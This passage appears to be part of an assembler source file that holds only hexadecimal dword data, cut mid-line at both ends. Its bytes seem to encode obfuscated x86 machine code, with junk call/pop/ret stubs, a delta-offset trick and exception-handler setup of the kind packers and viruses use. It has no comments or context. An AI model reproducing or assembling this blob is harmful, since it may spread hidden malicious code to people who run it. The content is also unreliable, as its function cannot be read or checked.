67F82BBEh, 3890Fh, 8B660000h dd 0E0B5FFFBh, 6605EDD9h, 0FF0AF4BBh, 0EA230D95h, 0FCB36005h dd 0A109BF66h, 31BD8361h, 205EA06h, 37840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 89AE6FC3h, 0EA28E1BDh, 95858B05h, 0BF05EA0Ch, 9A3812Fh dd 890000C6h, 0EA022985h, 7D85C705h, 5EA09h, 29000000h dd 0EA251585h, 0F298E905h, 6AFFFFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0E4E412C3h dd 0F5B40A86h, 8589C18Bh, 5EA13A5h, 3AF78150h, 5B3C42F2h dd 298D858Dh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 625EFCC3h, 5F26FD7Ah, 503E4014h dd 16840Fh, 0AE80000h, 4C000000h, 7D12DA9Ch, 0BC9E29BCh dd 850FC0h, 5B000000h, 66240489h, 1FBFFB8Bh, 6A7DF2B7h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 47B61FCh, 0E026F4D6h, 11BD8BDEh, 6A05EA12h dd 99858D00h, 6A05EE95h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0D650C357h, 64578BA8h dd 10E98059h, 3B000000h, 15117FEEh, 71FB26D1h, 30630476h dd 83341D71h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0C480EC3h, 2A317FCEh, 0F8F90C29h dd 0BB665750h, 895FFB81h, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0E6F6A5C3h, 1455B589h dd 12E905EAh, 8D000000h, 60CF5E93h, 0FEBE071Eh, 0CD67B9CEh dd 2EE697DEh, 66006A36h, 6AFF7BBBh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 68FE5045h dd 0E9923F08h, 0Ch, 4286EC89h, 0A010B81Fh, 257CC1F0h, 80D38166h dd 0E995FF36h, 8D05EA23h, 0EDD89D8Dh, 0E9858905h, 0FF05EA30h dd 51006AD1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0DE08314Dh, 34493664h, 0BD830389h, 5EA02D1h dd 9F850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 948AC356h, 0A5340DFh dd 26AE85Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 94C35646h, 0E85EABAEh, 5, 0F29EC761h, 852B6043h dd 5EA329Dh, 8E9h, 697B3400h, 6B27868Bh, 505F61D8h, 5E9h dd 0C07D0E00h, 489A393h, 3D95FF24h, 6A05EA16h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 6319C350h, 0E9E17837h, 0DB8166B3h, 47E9D5BBh, 0E800000Eh dd 0 dd 0A3ED815Dh, 6A05EE95h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0B86CC355h, 0EF686B57h dd 33A81DEh, 0EEDEBA60h, 0BD893E77h, 5EA00ADh, 0C1BD8961h dd 6A05EA2Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0A6B3C353h, 199B696Bh, 8DDBB70Fh dd 0EDC38785h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 9DBD03D5h, 5005EA0Dh dd 4EFDE5BBh, 24048955h, 8758589h, 14E905EAh, 61000000h dd 6429B214h, 0DC8BEFFBh, 2A963A72h, 9EE147E8h, 6487F664h dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 92FC97C3h, 7BBD70EEh, 258964h, 89000000h dd 0EA0D81B5h, 4985FF05h, 8905EA1Ch, 0EA0CE185h, 6AFF6A05h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0D8EEC356h, 0F8319D85h, 60EA613Dh, 24BD9D29h dd 0BD0905EAh, 5EA0FCDh, 89B5FF61h, 8B05EA11h, 0EA1291BDh dd 4995FF05h, 0E905EA14h, 0F1h, 0C56BF66h, 8B6600B0h, 8B70E6FAh dd 0EA13F1BDh, 6840F05h, 8B000000h, 0EA2F45BDh, 3171E405h dd 0EA00D595h, 0F613C05h, 0C483h, 810F00h, 0F000000h, 9D31C8B6h dd 5EA29D5h, 6BAF9h, 0BD8B0000h, 5EA0319h, 0E780C18Bh dd 4E8C1F8h, 56F6BF66h, 0F9E2F766h, 0BF0FC82Bh, 0FD18BFFh dd 181h, 9D8BFC00h, 5EA0F39h, 5E9h, 0F7816600h, 858B9D73h dd 5EA1589h, 1A419D8Bh, 0C08305EAh, 81BD8B07h, 8305EA20h dd 895300C0h, 0EA305585h, 0D03B5B05h, 0E830Fh, 8B660000h dd 4BE9DFh, 95890000h, 5EA0149h, 14D58D8Bh, 83F805EAh dd 840F01E1h, 35h, 0FE8h, 49AD3C00h, 3527C051h, 0FA94E743h dd 60BFC8EEh, 0E393E381h, 835B61E7h, 0EA14D5A5h, 0DB81FE05h dd 20412B52h, 15899589h, 0F98B05EAh, 0E9h, 58B58D00h, 6605EE13h dd 99F9C781h, 0EB80006Ah, 1595FFEEh, 6605EA10h, 8B66DA8Bh dd 79EB9D9h, 81660000h, 83D4FEE3h, 9D8BFCE1h, 5EA327Dh dd 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 29392BA5h, 0C02BE6F1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0DBC35545h, 806D62C3h, 0BA91EBh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0A1BCC351h, 11E9h, 0ACD17B00h dd 4BDDAC07h, 68618B02h, 0D1A0F775h, 33AD0E8Bh, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0E2D339C3h, 9995896Ch, 6A05EA0Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 81D6C355h, 58A64EC2h, 880DCF9Ah, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0D833C353h, 0FE31EB50h, 2BB3BC5Fh, 0F557BF66h dd 0ADD958Bh, 0BF0F05EAh, 0CD8D8BFFh, 6A05EA0Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0A6DCC351h, 0AE8h, 90C1BC00h, 0AE323942h, 890187B9h dd 0EA078DBDh, 8B505F05h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 43C35040h, 6985295Dh, 105EA1Ah, 0EA30DD85h, 0A6AEBB05h dd 0BD8327A5h, 5EA0819h, 0AE840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 63AC350h, 0DE17EDC2h, 8ADD3F79h, 0B8FAh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0E0DF74C3h, 5AA67011h, 1DA5BD89h, 8D8D05EAh, 5EA4C21h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 29C35242h dd 0BA6FDBBFh, 0F2D585Fh, 8Ch, 6AE1FF00h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 68EAC356h dd 51419E34h, 812EB188h, 631011EFh, 0F5BD836Eh, 5EA25h dd 469840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BD8367C3h, 5EA25F5h, 5B840F01h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 60C5C350h, 0E1B531F5h, 6105EA00h dd 25F5BD83h, 0F0305EAh, 3F386h, 0A4C2BF00h, 89604747h dd 0EA2D7D9Dh, 0D98C6605h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 93C35141h, 0F7F81B48h, 8B62702Dh, 0EA0EB99Dh dd 4E18005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0B8C35242h, 0F9A9EE5Dh, 9D0BCF11h, 5EA1D91h, 840FC90Ah dd 109h, 858BB1B7h, 5EA1629h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 9BC35040h, 44D16373h, 0BF71625Fh dd 358533D3h, 6A05EA15h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0B934C352h, 0E19036DDh dd 0FE8B6650h, 9240489h, 0EA24E59Dh, 8B006A05h, 4E8F9h dd 3FF0000h, 11E9001Fh, 0C3000000h, 0CFA88A3Dh, 5849C28Ah dd 0FEE96267h, 0A1F895C7h, 0FB8B6650h, 424448Bh, 0BE8h dd 0F88E9700h, 0EB9789F0h, 0EB7E837Eh, 6E852h, 8E9A0000h dd 0CE921CC5h, 8B5B5B5Fh, 7E900h, 864F0000h, 2C3EB2F3h dd 2444899Bh, 58D88B04h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 17C35545h, 850F8BE3h, 5, 3445BBBFh, 0D95FF43h dd 8905EA32h, 0EA24B59Dh, 0E0858905h, 0F05EDD9h, 3CE9F8BFh dd 89000002h, 0EA0B658Dh, 0D8858B05h, 6A05EDD9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0C030C357h, 38AC60Ch, 1800C735h, 8B000000h, 0EA1C999Dh dd 0DCB58B05h, 2905EDD9h, 0EA115985h, 0E5858B05h, 6A05EA29h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0A41EC352h, 0D268BC9h, 689D15Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 14C35242h, 5EEEF8ACh dd 76EE00BCh, 0B99D8B0Bh, 0E805EA2Bh, 13h, 0C30D0488h dd 69D3AE2Ch, 0E9EF4973h, 0B06A41h, 0B71A4352h, 858B5F12h dd 5EA1629h, 8E19589h, 468905EAh, 0D9D8904h, 9605EA25h dd 0ADBE6660h, 96506120h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 40C35343h, 20F18589h, 0B5FF05EAh, 5EDD9D8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CAC35040h dd 0BBBE3Ah, 5CFEDCB7h, 5A0470BBh, 4E877h, 3FF0000h, 8F0F001Fh dd 15h, 10E9h, 726FE300h, 0BE9C90DBh, 304330A5h, 46D92011h dd 6E850CEh, 58000000h, 81270C4Fh, 2563BBA1h, 8B5B58CFh dd 0E9042444h, 8, 0E12989EAh, 0B8B6C4E8h, 8B0F008Bh, 0 dd 4244489h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8BDAD3D1h, 0E0858DDAh, 6A05EDD9h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0E971C353h, 33892E23h, 0EA12F99Dh, 13E89005h dd 0BF000000h, 0AE858BC6h, 3A5E444Ah, 63B42AEAh, 0DF04A260h dd 8B5176F0h, 505B5FFEh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 5E98A9FFh, 85893A26h dd 5EA1B99h, 320D95FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8E931C3h, 2A000000h dd 62A74073h, 61BDC5A9h, 0C7DF8B66h, 0EA25F585h, 305h dd 83D98B00h, 0EDD9E0BDh, 840F0005h, 2Ch, 0AC99589h, 3CE905EAh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 14EDC350h, 698B8A5Eh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0CC93C355h, 0DCE35A9Ch, 0AE1A962Ah, 4E4ABB66h, 32FD8589h dd 0BD8305EAh, 5EA25F5h, 89850F03h, 89000004h, 0EA130995h dd 0E0BD8305h, 5EDD9h, 476840Fh, 0FFFC0000h, 0EDD9E0B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0B9FD9F96h, 7A56E3F4h, 0D98B1989h, 128D95FFh dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 9ADE86C3h, 7D295D95h, 1C4D9D01h, 0B58B05EAh dd 5EDD9D4h, 0AE9h, 0CCFECC00h, 0E4047199h, 0C7A606A6h dd 1000106h, 258D0100h, 5005EA29h, 25078BBh, 24348974h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 25C35545h dd 2990CE57h, 514CA7EAh, 14E8h, 3FB44600h, 0CF62056Eh dd 9A1C4D44h, 4BDA477Bh, 5C9D5E31h, 61BD8B12h, 5B05EA30h dd 0E0B5FF5Fh, 6A05EDD9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0EF08C357h, 0BD06BF7Eh dd 0E8AAD3A1h, 6, 711DDC6Ch, 0BD8B87C0h, 5EA2F29h, 6995FF5Bh dd 6A05EA32h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 9CADC356h, 684FF425h, 0CE95F23h dd 0AB000000h, 0F86E0861h, 115ABAD0h, 8B69892Ah, 0EDD9D4B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0F99D8B74h, 0F05EA07h, 68Ch, 25B58900h dd 8B05EA01h, 0EA088185h, 0C4868905h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0C404C356h, 30ADBD8Bh, 958B05EAh, 5EA0ADDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 40C35040h, 4B5F6341h dd 0EE804h, 20330000h, 0E88CB8ABh, 832B97C9h, 8C11E455h dd 800Fh, 0F55B0000h, 8904C283h, 0EA20898Dh, 20508905h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F5C35141h dd 0B9456781h, 23C496ECh, 0EA1C0D9Dh, 67858D05h, 0F05EDEBh dd 68Bh, 0E5BD8B00h, 8905EA19h, 0B886h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 29AD4039h, 0EA00E19Dh, 10E905h, 0F9300000h, 0F626A27Ah dd 0CB353FE1h, 3A205C6Bh, 6AA15Ch, 3215BD2Bh, 0B5FF05EAh dd 5EDD9E0h, 15719D8Bh, 95FF05EAh, 5EA163Dh, 0EF1BD8Bh dd 0E89605EAh, 5, 0FE05F200h, 0C8BA60CBh, 6160E662h, 5250505Bh dd 0FDE8B66h, 54BF6631h, 96585A32h, 0FFF9BF0Fh, 0EDD9E0B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0B7BB2364h, 9A821231h, 1ABBC021h, 0FF74B332h dd 0EA15A995h, 0D8E0F05h, 60000000h, 8259589h, 0A6BB05EAh dd 613B1D34h, 0BD83D98Bh, 5EA115Dh, 5A840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0E409C356h, 37C44795h, 0BD8B1C23h, 5EA20C1h dd 2C999D8Bh, 669605EAh, 507A2ABFh, 51006A96h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 4BEAE540h dd 0D5F38166h, 0E0B5FF59h, 6A05EDD9h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1E4DC356h dd 8B38202Ah, 0EA06359Dh, 5E905h, 5A2B0000h, 0FF225338h dd 0EA1CC995h, 0E59D2905h, 0FF05EA02h, 0EDD9E0B5h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 57C6E3A4h, 0FF1307F9h, 0EA230D95h, 2870F05h, 8B000000h dd 31BD83FAh, 205EA06h, 7E840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 816618C3h dd 8BE975E7h, 0EA0C9585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0BDAECEADh dd 0C7874F59h, 8A0FA354h, 0 dd 0F0000C6h, 178Eh, 12E900h, 35BA0000h, 4A25B2D8h, 0ECC27F09h dd 0C7CB8171h, 601D8558h, 68C0Fh, 9D8B0000h, 5EA0B79h dd 97D85C7h, 5EAh, 0B5890000h, 5EA0C79h, 0FFF2E0E9h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 764888C2h, 9CBB4AFDh, 8B5F90B6h, 0D48060C1h, 858D6168h dd 5EA298Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0AC35343h, 0C61DFB42h, 895040F9h, 6A2404h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 489A33C3h, 19BD2398h, 6A05EA2Ch, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0EC7C928Ah dd 0F23BEF6Bh, 6A9AFEh, 22D9D89h, 858D05EAh, 5EEA5DBh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 42C35040h dd 81DEDFF2h, 9365DBE3h, 6860F37h, 89000000h, 0EA14CD8Dh dd 5C08305h, 14850Fh, 8E80000h, 0A0000000h, 7E39C65Dh dd 0FC042C1h, 86h, 50905B00h, 19B2A4BBh, 880F9042h, 3 dd 6ACEF380h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 8B50307Bh, 0EA1C55BDh, 6A5F05h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BCC35141h, 704FECA0h dd 0A916E381h, 95FF7C02h, 5EA23E9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0A4C35141h, 86BFFE91h, 68D0Fh dd 9D890000h, 5EA0B5Dh, 0D89D8D8Dh, 8B6605EDh, 0E8D1FFFEh dd 0Eh, 21BD86F1h, 0AF6EC901h, 91520E6Fh, 0D98ABE1Ch, 0D1BD835Fh dd 105EA02h, 62850Fh, 89530000h, 0EA1E11BDh, 26A5F05h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 29C35646h dd 761405D0h, 0A1940421h, 2AA58589h, 895005EAh, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8B7D73C3h, 0EA0AD99Dh, 95FFF505h, 5EA163Dh, 0DBFE9h dd 0E800h, 815D0000h, 0EEA5E5EDh, 0F19D8905h, 8B05EA2Bh dd 0EA2F05BDh, 87858D05h, 8A05EDC3h, 0CF8166FEh, 50908D57h dd 5E9h, 0B7D1B400h, 6A90A577h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0A50CC352h, 8A0F3D16h dd 0 dd 303D8D89h, 0FF6405EAh, 35h, 64F1B300h, 2589h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 523D5BC3h, 9D8B247Eh, 5EA1715h, 24D19D03h, 85FF05EAh dd 5EA1C49h, 3005BD0Bh, 0BD8B05EAh, 5EA28C9h, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0A8EE9AC3h, 5EC837B3h, 702CBF96h, 9D013B43h, 5EA31F1h dd 2581B5FFh, 0DBB705EAh, 144995FFh, 48E905EAh, 0F000001h dd 148Dh, 8E800h, 0F6850000h, 0B2B1A486h, 9D8B8644h, 5EA2B6Dh dd 519D335Bh, 0B005EA08h, 5370E600h, 14358589h, 335F05EAh dd 0EA13D59Dh, 8971E405h, 0EA009D85h, 0F613C05h, 10683h dd 0BE800h, 0CD1E0000h, 1EB2130Fh, 0E46E1C21h, 5BD0B70h dd 5B05EA30h, 81C8B60Fh, 0BABD64D3h, 6BA1Bh, 7E80000h dd 0AF000000h, 0DB0685F3h, 9509FBC4h, 5EA14ADh, 1C18B5Fh dd 0EA100195h, 4E8C105h, 8E9h, 937E7B00h, 412C6C41h, 0E2F76657h dd 1B99B509h, 0C82B05EAh, 19C58D89h, 0D18B05EAh, 8299D89h dd 6E905EAh, 8B000000h, 0EA0BBD9Dh, 9D858B05h, 6605EA30h dd 0CCA0F781h, 0FC07C083h, 8B00C083h, 0EA0CFD9Dh, 0FD03B05h dd 1283h, 0B9BD0100h, 0E905EA23h, 67h, 6ED9D89h, 8BF805EAh dd 0EA0B458Dh, 0E19D2305h, 0E905EA25h, 5, 1F129C44h, 1E18308h dd 41840Fh, 5F570000h, 0B45A583h, 31FE05EAh, 0EA0BADB5h dd 13E805h, 77DC0000h, 0DDE58530h, 0E343514Ah, 0CEA6C57h dd 6BD1DF0h, 8D0F51C3h, 0 dd 95895B5Bh, 5EA309Dh, 258D9531h, 0E905EAh, 8D000000h dd 0EE1D2FB5h, 0D913BF05h, 6A4E87h, 1D358531h, 10E905EAh dd 55000000h, 0FCF0450Ch, 0E4F4DCB5h, 4A4914D6h, 0FF11C605h dd 0EA101595h, 92D2BB05h, 38B96293h, 8B000008h, 0EA11A59Dh dd 0FCE18305h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0AC35242h, 57FEF9ECh, 0B5897C61h, 5EA20C9h, 52006AFCh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C03C5F7Eh, 0B8BF98h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 6E74C357h dd 0D22B7AACh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0AEC35545h, 0A9BD3E25h, 275166AEh, 3D9D8B56h, 5B05EA2Bh dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 4DC35545h, 6295915Dh, 35E4C3Fh dd 0EA1D359Dh, 0FEBF0F05h, 0BD8B5053h, 5EA07BDh, 880D5F5Fh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 9F11C353h, 42D3994Eh, 8C7AABAAh dd 0ADD958Bh, 0DB8105EAh, 107C9D12h, 0ACD8D8Bh, 6A05EAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 77456DC3h, 83BB6623h, 505B5773h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7DFFD3E4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8AC35646h dd 1D4676F3h, 819BD83h, 0F0005EAh, 5B84h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD8BC9EAh, 5EA02FDh, 0B8h, 0FDBD8900h, 8D05EA0Eh, 0EA4C218Dh dd 1B58905h, 0FF05EA26h, 14E9E1h, 387A0000h, 547BCF3h dd 0BAF48AF1h, 0CF297F76h, 52528905h, 8D29828Dh, 5EA2EEDh dd 25F5BD83h, 0F0005EAh, 43A84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B70F9177h dd 0BD834055h, 5EA25F5h, 27840F01h, 0F9000004h, 25F5BD83h dd 0F0305EAh, 3E386h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 45FE770Ah, 0D86C1DAh dd 890FE43Dh, 3, 60FE8B66h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0BEC35141h, 0B58580D0h, 0C5BF66EBh, 0D98C669Fh dd 10858D01h, 0E18005EAh, 459D8B04h, 0A05EA2Fh, 3F840FC9h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 59EFC353h, 858962A9h, 5EA0C31h dd 1629858Bh, 10E905EAh, 60000000h, 5E35B8EAh, 0E6EBBF79h dd 3557223Ah, 8BEDABF3h, 0EA2D619Dh, 35853305h, 6A05EA15h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 4B78C352h, 0B52189Fh, 90291C0h, 11E9h, 7DD7CC00h dd 0FBECEC6Fh, 0C4AF7D97h, 0E780E25Fh, 0FA8BBDCBh, 0AFBF6690h dd 5E950B1h, 2000000h, 4E564F22h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 6A358Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1CC35545h, 0F88B666Ah dd 9E1BD8Bh, 0ED6805EAh, 60D7B52Ah, 76B96660h, 81616107h dd 0D9122404h, 6A2869h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0D38CD1C3h, 963DB767h, 0C1B5600Bh dd 0FF61C88Bh, 0EA320D95h, 41BD8B05h, 8905EA20h, 0EDD9E085h dd 0C99D8B05h, 0E905EA31h, 203h, 20559D31h, 858B05EAh dd 5EDD9D8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 76C35040h, 0F17FB6Ch, 0C7D8B7h, 18h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D4C35646h, 0B6B7931Ch dd 75BD89h, 0B58B05EAh, 5EDD9DCh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0DBC35040h, 90D17753h, 66514672h dd 858BF98Bh, 5EA29E5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0A3C35747h, 0B14738AEh, 0FC9767F3h, 990CF81h dd 6892261h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0B6C35646h, 0D0B2E598h, 0CC8551B4h, 4143BB66h dd 1629858Bh, 8D8905EAh, 5EA082Dh, 6A044689h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 7101C355h, 7FF3C99Ch, 810F018Ch, 10h, 0BE9h, 0C66B8500h dd 0B18197AFh, 6B4E41E5h, 50DFBF0Fh, 0BE960h, 0A3FC0000h dd 388A2DC1h, 0F947AE3h, 0EE9F0h, 6F10000h, 66E8038Fh dd 1A65837Bh, 41DC909Bh, 24348961h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0C9C35343h, 4A73228h, 0C59D8B42h dd 0FF05EA12h, 0EDD9D8B5h, 2E38105h, 685D124Ah, 344563D3h dd 28E0Fh, 0DA8A0000h, 2C243481h, 0E9345A60h, 0Bh, 0D89BA281h dd 94953B28h, 8DAA3F90h, 0EDD9E085h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F547F2DAh dd 89F98A50h, 81662404h, 0FFC370EBh, 0EA320D95h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0B5B5897Fh, 6105EA1Eh, 2CE5BD89h, 85C705EAh, 5EA25F5h dd 3, 0DDDB529h, 858905EAh, 5EA2C35h, 0D9E0BD83h, 0F0005EDh dd 0F84h, 5BD8900h, 0F805EA07h, 1EE9h, 0FB8B6600h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 8DC1C351h, 0C20AFC6Fh, 14E929C9h, 5D000000h, 8659824Bh dd 51028955h, 0D3D977CBh, 2EEC9182h, 6A28D55Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 9B2BC357h, 3198501h, 0BD8B05EAh, 5EA32A1h, 0C8C0Fh dd 7E90000h, 0D4000000h, 4CAB04FEh, 0BD831D6Ah, 5EA25F5h dd 15850F03h, 0F000004h, 68Ch, 1D9D8B00h, 8305EA0Bh, 0EDD9E0BDh dd 840F0005h, 3FCh, 0E0B5FFF9h, 8B05EDD9h, 0EA20659Dh dd 5D9D8B05h, 0FF05EA2Ah, 